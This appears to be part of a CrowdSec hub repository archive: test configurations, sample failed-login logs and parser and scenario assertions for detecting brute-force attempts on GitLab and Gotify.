"gitlab-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "gitlab_failed_password" results[0].Overflow.Alert.Events[4].GetMeta("service") == "gitlab" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "8.8.8.8" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-04-15T13:44:59.813Z" results[0].Overflow.Alert.Events[4].GetMeta("username") == "test5" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "gitlab-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "gitlab_failed_password" results[0].Overflow.Alert.Events[5].GetMeta("service") == "gitlab" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "8.8.8.8" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-04-15T13:45:02.293Z" results[0].Overflow.Alert.Events[5].GetMeta("username") == "test6" results[0].Overflow.Alert.GetScenario() == "timokoessler/gitlab-bf_user-enum" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 "1.1.1.1" in results[1].Overflow.GetSources() results[1].Overflow.Sources["1.1.1.1"].IP == "1.1.1.1" results[1].Overflow.Sources["1.1.1.1"].Range == "" results[1].Overflow.Sources["1.1.1.1"].GetScope() == "Ip" results[1].Overflow.Sources["1.1.1.1"].GetValue() == "1.1.1.1" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "gitlab-bf.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "gitlab_failed_password" results[1].Overflow.Alert.Events[0].GetMeta("service") == "gitlab" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.1" results[1].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-04-15T12:58:36.195Z" results[1].Overflow.Alert.Events[0].GetMeta("username") == "test" results[1].Overflow.Alert.Events[1].GetMeta("datasource_path") == "gitlab-bf.log" results[1].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[1].GetMeta("log_type") == "gitlab_failed_password" results[1].Overflow.Alert.Events[1].GetMeta("service") == "gitlab" results[1].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.1" results[1].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-04-15T12:58:39.197Z" results[1].Overflow.Alert.Events[1].GetMeta("username") == "test" results[1].Overflow.Alert.Events[2].GetMeta("datasource_path") == "gitlab-bf.log" results[1].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[2].GetMeta("log_type") == "gitlab_failed_password" results[1].Overflow.Alert.Events[2].GetMeta("service") == "gitlab" results[1].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.1" results[1].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-04-15T12:58:41.212Z" results[1].Overflow.Alert.Events[2].GetMeta("username") == "test" results[1].Overflow.Alert.Events[3].GetMeta("datasource_path") == "gitlab-bf.log" results[1].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[3].GetMeta("log_type") == "gitlab_failed_password" results[1].Overflow.Alert.Events[3].GetMeta("service") == "gitlab" results[1].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.1" results[1].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-04-15T12:58:45.689Z" results[1].Overflow.Alert.Events[3].GetMeta("username") == "test" results[1].Overflow.Alert.Events[4].GetMeta("datasource_path") == "gitlab-bf.log" results[1].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[4].GetMeta("log_type") == "gitlab_failed_totp" results[1].Overflow.Alert.Events[4].GetMeta("service") == "gitlab" results[1].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.1" results[1].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-04-15T12:58:50.06Z" results[1].Overflow.Alert.Events[5].GetMeta("datasource_path") == "gitlab-bf.log" results[1].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[5].GetMeta("log_type") == "gitlab_failed_totp" results[1].Overflow.Alert.Events[5].GetMeta("service") == "gitlab" results[1].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.1" results[1].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-04-15T12:58:52.054Z" results[1].Overflow.Alert.GetScenario() == "timokoessler/gitlab-bf" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 6hub1/.tests/gitlab-logs/000077500000000000000000000000001437532772500153605ustar00rootroot00000000000000hub1/.tests/gitlab-logs/config.yaml000066400000000000000000000003111437532772500175040ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/timokoessler/gitlab-logs.yaml scenarios: - "" postoverflows: - "" log_file: gitlab-logs.log log_type: gitlab labels: {} ignore_parsers: false hub1/.tests/gitlab-logs/gitlab-logs.log000066400000000000000000000075041437532772500202750ustar00rootroot00000000000000{"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":0,"time":"2022-04-15T12:59:36.195Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"login":"test","password":"[FILTERED]","remember_me":"0"}}],"correlation_id":"...","meta.client_id":"ip/1.1.1.1","meta.caller_id":"SessionsController#create","meta.remote_ip":"1.1.1.1","meta.feature_category":"authentication_and_authorization","remote_ip":"1.1.1.1","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":7,"redis_duration_s":0.001104,"redis_read_bytes":314,"redis_write_bytes":706,"redis_cache_calls":1,"redis_cache_duration_s":0.000253,"redis_cache_read_bytes":203,"redis_cache_write_bytes":56,"redis_rate_limiting_calls":5,"redis_rate_limiting_duration_s":0.000659,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":565,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000192,"redis_sessions_read_bytes":104,"redis_sessions_write_bytes":85,"db_count":3,"db_write_count":0,"db_cached_count":1,"db_replica_count":0,"db_primary_count":3,"db_main_count":3,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":1,"db_main_cached_count":1,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.002,"db_main_duration_s":0.002,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009385757148265839,"cpu_s":0.025067,"mem_objects":11660,"mem_bytes":1589176,"mem_mallocs":2902,"mem_total_bytes":2055576,"pid":26740,"db_duration_s":0.00145,"view_duration_s":0.0,"duration_s":0.01291} {"method":"POST","path":"/users/sign_in","format":"html","controller":"SessionsController","action":"create","status":200,"time":"2022-04-15T14:19:00.060Z","params":[{"key":"authenticity_token","value":"[FILTERED]"},{"key":"user","value":{"remember_me":"0","otp_attempt":"[FILTERED]"}}],"remote_ip":"1.1.1.1","ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39","request_urgency":"default","target_duration_s":1,"redis_calls":12,"redis_duration_s":0.002224,"redis_read_bytes":1561,"redis_write_bytes":959,"redis_cache_calls":7,"redis_cache_duration_s":0.001336,"redis_cache_read_bytes":1334,"redis_cache_write_bytes":430,"redis_rate_limiting_calls":4,"redis_rate_limiting_duration_s":0.000692,"redis_rate_limiting_read_bytes":7,"redis_rate_limiting_write_bytes":444,"redis_sessions_calls":1,"redis_sessions_duration_s":0.000196,"redis_sessions_read_bytes":220,"redis_sessions_write_bytes":85,"db_count":13,"db_write_count":3,"db_cached_count":2,"db_replica_count":0,"db_primary_count":13,"db_main_count":13,"db_main_replica_count":0,"db_replica_cached_count":0,"db_primary_cached_count":2,"db_main_cached_count":2,"db_main_replica_cached_count":0,"db_replica_wal_count":0,"db_primary_wal_count":0,"db_main_wal_count":0,"db_main_replica_wal_count":0,"db_replica_wal_cached_count":0,"db_primary_wal_cached_count":0,"db_main_wal_cached_count":0,"db_main_replica_wal_cached_count":0,"db_replica_duration_s":0.0,"db_primary_duration_s":0.023,"db_main_duration_s":0.023,"db_main_replica_duration_s":0.0,"rack_attack_redis_count":2,"rack_attack_redis_duration_s":0.0009961440227925777,"cpu_s":0.793243,"mem_objects":89022,"mem_bytes":19227752,"mem_mallocs":76488,"mem_total_bytes":22788632,"pid":26842,"correlation_id":"...","db_duration_s":0.06362,"view_duration_s":0.0,"duration_s":0.01291}hub1/.tests/gitlab-logs/parser.assert000066400000000000000000000135701437532772500201050ustar00rootroot00000000000000len(results["s01-parse"]["timokoessler/gitlab-logs"]) == 2 results["s01-parse"]["timokoessler/gitlab-logs"][0].Success == true results["s01-parse"]["timokoessler/gitlab-logs"][0].Evt.Parsed["message"] == "{\"method\":\"POST\",\"path\":\"/users/sign_in\",\"format\":\"html\",\"controller\":\"SessionsController\",\"action\":\"create\",\"status\":0,\"time\":\"2022-04-15T12:59:36.195Z\",\"params\":[{\"key\":\"authenticity_token\",\"value\":\"[FILTERED]\"},{\"key\":\"user\",\"value\":{\"login\":\"test\",\"password\":\"[FILTERED]\",\"remember_me\":\"0\"}}],\"correlation_id\":\"...\",\"meta.client_id\":\"ip/1.1.1.1\",\"meta.caller_id\":\"SessionsController#create\",\"meta.remote_ip\":\"1.1.1.1\",\"meta.feature_category\":\"authentication_and_authorization\",\"remote_ip\":\"1.1.1.1\",\"ua\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39\",\"request_urgency\":\"default\",\"target_duration_s\":1,\"redis_calls\":7,\"redis_duration_s\":0.001104,\"redis_read_bytes\":314,\"redis_write_bytes\":706,\"redis_cache_calls\":1,\"redis_cache_duration_s\":0.000253,\"redis_cache_read_bytes\":203,\"redis_cache_write_bytes\":56,\"redis_rate_limiting_calls\":5,\"redis_rate_limiting_duration_s\":0.000659,\"redis_rate_limiting_read_bytes\":7,\"redis_rate_limiting_write_bytes\":565,\"redis_sessions_calls\":1,\"redis_sessions_duration_s\":0.000192,\"redis_sessions_read_bytes\":104,\"redis_sessions_write_bytes\":85,\"db_count\":3,\"db_write_count\":0,\"db_cached_count\":1,\"db_replica_count\":0,\"db_primary_count\":3,\"db_main_count\":3,\"db_main_replica_count\":0,\"db_replica_cached_count\":0,\"db_primary_cached_count\":1,\"db_main_cached_count\":1,\"db_main_replica_cached_count\":0,\"db_replica_wal_count\":0,\"db_primary_wal_count\":0,\"db_main_wal_count\":0,\"db_main_replica_wal_count\":0,\"db_replica_wal_cached_count\":0,\"db_primary_wal_cached_count\":0,\"db_main_wal_cached_count\":0,\"db_main_replica_wal_cached_count\":0,\"db_replica_duration_s\":0.0,\"db_primary_duration_s\":0.002,\"db_main_duration_s\":0.002,\"db_main_replica_duration_s\":0.0,\"rack_attack_redis_count\":2,\"rack_attack_redis_duration_s\":0.0009385757148265839,\"cpu_s\":0.025067,\"mem_objects\":11660,\"mem_bytes\":1589176,\"mem_mallocs\":2902,\"mem_total_bytes\":2055576,\"pid\":26740,\"db_duration_s\":0.00145,\"view_duration_s\":0.0,\"duration_s\":0.01291}" results["s01-parse"]["timokoessler/gitlab-logs"][0].Evt.Parsed["program"] == "gitlab" results["s01-parse"]["timokoessler/gitlab-logs"][0].Evt.Parsed["timestamp"] == "2022-04-15T12:59:36.195Z" results["s01-parse"]["timokoessler/gitlab-logs"][0].Evt.Meta["datasource_path"] == "gitlab-logs.log" results["s01-parse"]["timokoessler/gitlab-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["timokoessler/gitlab-logs"][0].Evt.Meta["log_type"] == "gitlab_failed_password" results["s01-parse"]["timokoessler/gitlab-logs"][0].Evt.Meta["service"] == "gitlab" results["s01-parse"]["timokoessler/gitlab-logs"][0].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["timokoessler/gitlab-logs"][0].Evt.Meta["username"] == "test" results["s01-parse"]["timokoessler/gitlab-logs"][1].Success == true results["s01-parse"]["timokoessler/gitlab-logs"][1].Evt.Parsed["message"] == "{\"method\":\"POST\",\"path\":\"/users/sign_in\",\"format\":\"html\",\"controller\":\"SessionsController\",\"action\":\"create\",\"status\":200,\"time\":\"2022-04-15T14:19:00.060Z\",\"params\":[{\"key\":\"authenticity_token\",\"value\":\"[FILTERED]\"},{\"key\":\"user\",\"value\":{\"remember_me\":\"0\",\"otp_attempt\":\"[FILTERED]\"}}],\"remote_ip\":\"1.1.1.1\",\"ua\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36 Edg/100.0.1185.39\",\"request_urgency\":\"default\",\"target_duration_s\":1,\"redis_calls\":12,\"redis_duration_s\":0.002224,\"redis_read_bytes\":1561,\"redis_write_bytes\":959,\"redis_cache_calls\":7,\"redis_cache_duration_s\":0.001336,\"redis_cache_read_bytes\":1334,\"redis_cache_write_bytes\":430,\"redis_rate_limiting_calls\":4,\"redis_rate_limiting_duration_s\":0.000692,\"redis_rate_limiting_read_bytes\":7,\"redis_rate_limiting_write_bytes\":444,\"redis_sessions_calls\":1,\"redis_sessions_duration_s\":0.000196,\"redis_sessions_read_bytes\":220,\"redis_sessions_write_bytes\":85,\"db_count\":13,\"db_write_count\":3,\"db_cached_count\":2,\"db_replica_count\":0,\"db_primary_count\":13,\"db_main_count\":13,\"db_main_replica_count\":0,\"db_replica_cached_count\":0,\"db_primary_cached_count\":2,\"db_main_cached_count\":2,\"db_main_replica_cached_count\":0,\"db_replica_wal_count\":0,\"db_primary_wal_count\":0,\"db_main_wal_count\":0,\"db_main_replica_wal_count\":0,\"db_replica_wal_cached_count\":0,\"db_primary_wal_cached_count\":0,\"db_main_wal_cached_count\":0,\"db_main_replica_wal_cached_count\":0,\"db_replica_duration_s\":0.0,\"db_primary_duration_s\":0.023,\"db_main_duration_s\":0.023,\"db_main_replica_duration_s\":0.0,\"rack_attack_redis_count\":2,\"rack_attack_redis_duration_s\":0.0009961440227925777,\"cpu_s\":0.793243,\"mem_objects\":89022,\"mem_bytes\":19227752,\"mem_mallocs\":76488,\"mem_total_bytes\":22788632,\"pid\":26842,\"correlation_id\":\"...\",\"db_duration_s\":0.06362,\"view_duration_s\":0.0,\"duration_s\":0.01291}" results["s01-parse"]["timokoessler/gitlab-logs"][1].Evt.Parsed["program"] == "gitlab" results["s01-parse"]["timokoessler/gitlab-logs"][1].Evt.Parsed["timestamp"] == "2022-04-15T14:19:00.060Z" results["s01-parse"]["timokoessler/gitlab-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["timokoessler/gitlab-logs"][1].Evt.Meta["log_type"] == "gitlab_failed_totp" results["s01-parse"]["timokoessler/gitlab-logs"][1].Evt.Meta["service"] == "gitlab" results["s01-parse"]["timokoessler/gitlab-logs"][1].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["timokoessler/gitlab-logs"][1].Evt.Meta["datasource_path"] == "gitlab-logs.log"hub1/.tests/gitlab-logs/scenario.assert000066400000000000000000000000001437532772500203740ustar00rootroot00000000000000hub1/.tests/gotify-bf/000077500000000000000000000000001437532772500150425ustar00rootroot00000000000000hub1/.tests/gotify-bf/config.yaml000066400000000000000000000004041437532772500171710ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/baudneo/gotify-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/baudneo/gotify-bf.yaml postoverflows: - "" log_file: gotify-logs.log log_type: gotify labels: {} ignore_parsers: true hub1/.tests/gotify-bf/gotify-logs.log000066400000000000000000000014401437532772500200070ustar00rootroot00000000000000[GIN] 2022/02/07 - 10:49:33 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:49:83 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:50:10 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:50:66 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:52:13 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:52:13 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:52:13 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:52:13 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:52:13 | 401 | 505.317µs | 10.1.2.3 | POST "/client"hub1/.tests/gotify-bf/parser.assert000066400000000000000000000000001437532772500175470ustar00rootroot00000000000000hub1/.tests/gotify-bf/scenario.assert000066400000000000000000000045521437532772500200760ustar00rootroot00000000000000len(results) == 1 "10.1.2.3" in results[0].Overflow.GetSources() results[0].Overflow.Sources["10.1.2.3"].IP == "10.1.2.3" results[0].Overflow.Sources["10.1.2.3"].Range == "" results[0].Overflow.Sources["10.1.2.3"].GetScope() == "Ip" results[0].Overflow.Sources["10.1.2.3"].GetValue() == "10.1.2.3" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "gotify-logs.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "gotify_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "10.1.2.3" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-02-07T10:52:13Z" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "gotify-logs.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "gotify_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "10.1.2.3" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-02-07T10:52:13Z" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "gotify-logs.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "gotify_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "10.1.2.3" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-02-07T10:52:13Z" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "gotify-logs.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "gotify_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "10.1.2.3" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-02-07T10:52:13Z" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "gotify-logs.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "gotify_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "10.1.2.3" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-02-07T10:52:13Z" results[0].Overflow.Alert.GetScenario() == "baudneo/gotify-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 5 hub1/.tests/gotify-logs/000077500000000000000000000000001437532772500154175ustar00rootroot00000000000000hub1/.tests/gotify-logs/config.yaml000066400000000000000000000004131437532772500175460ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/baudneo/gotify-logs.yaml - crowdsecurity/dateparse-enrich scenarios: #- ./scenarios/baudneo/gotify-bf.yaml - "" postoverflows: - "" log_file: gotify-logs.log log_type: gotify labels: {} ignore_parsers: false hub1/.tests/gotify-logs/gotify-logs.log000066400000000000000000000014401437532772500203640ustar00rootroot00000000000000[GIN] 2022/02/07 - 10:49:33 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:49:83 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:50:10 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:50:66 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:51:34 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:52:13 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:53:13 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:54:13 | 401 | 505.317µs | 10.1.2.3 | POST "/client" [GIN] 2022/02/07 - 10:55:13 | 401 | 505.317µs | 10.1.2.3 | POST "/client"hub1/.tests/gotify-logs/parser.assert000066400000000000000000000642731437532772500201520ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 9 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:49:33 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "gotify" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:49:83 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "gotify" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "gotify" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:50:10 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:50:66 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "gotify" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:51:34 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "gotify" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:52:13 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "gotify" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][6].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:53:13 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["program"] == "gotify" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][7].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:54:13 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["program"] == "gotify" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][8].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:55:13 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Parsed["program"] == "gotify" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][8].Evt.Meta["datasource_path"] == "gotify-logs.log" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 9 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][8].Success == false len(results["s01-parse"]["baudneo/gotify-logs"]) == 9 results["s01-parse"]["baudneo/gotify-logs"][0].Success == true results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Parsed["day"] == "07" results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Parsed["endpoint"] == "/client" results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Parsed["request_type"] == "POST" results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Parsed["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Parsed["year"] == "2022" results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:49:33 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Parsed["month"] == "02" results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Parsed["program"] == "gotify" results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Parsed["request_time_took"] == "505.317µs" results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Parsed["time"] == "10:49:33" results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Meta["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Meta["datasource_path"] == "gotify-logs.log" results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["baudneo/gotify-logs"][0].Evt.Meta["log_type"] == "gotify_failed_auth" results["s01-parse"]["baudneo/gotify-logs"][1].Success == false results["s01-parse"]["baudneo/gotify-logs"][2].Success == true results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Parsed["time"] == "10:50:10" results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Parsed["year"] == "2022" results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Parsed["month"] == "02" results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Parsed["program"] == "gotify" results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Parsed["request_type"] == "POST" results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Parsed["request_time_took"] == "505.317µs" results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Parsed["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Parsed["day"] == "07" results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Parsed["endpoint"] == "/client" results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Parsed["message"] == "[GIN] 2022/02/07 - 10:50:10 | 401 | 505.317µs | 10.1.2.3 | POST \"/client\"" results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Meta["source_ip"] == "10.1.2.3" results["s01-parse"]["baudneo/gotify-logs"][2].Evt.Meta["datasource_path"] == "gotify-logs.log" 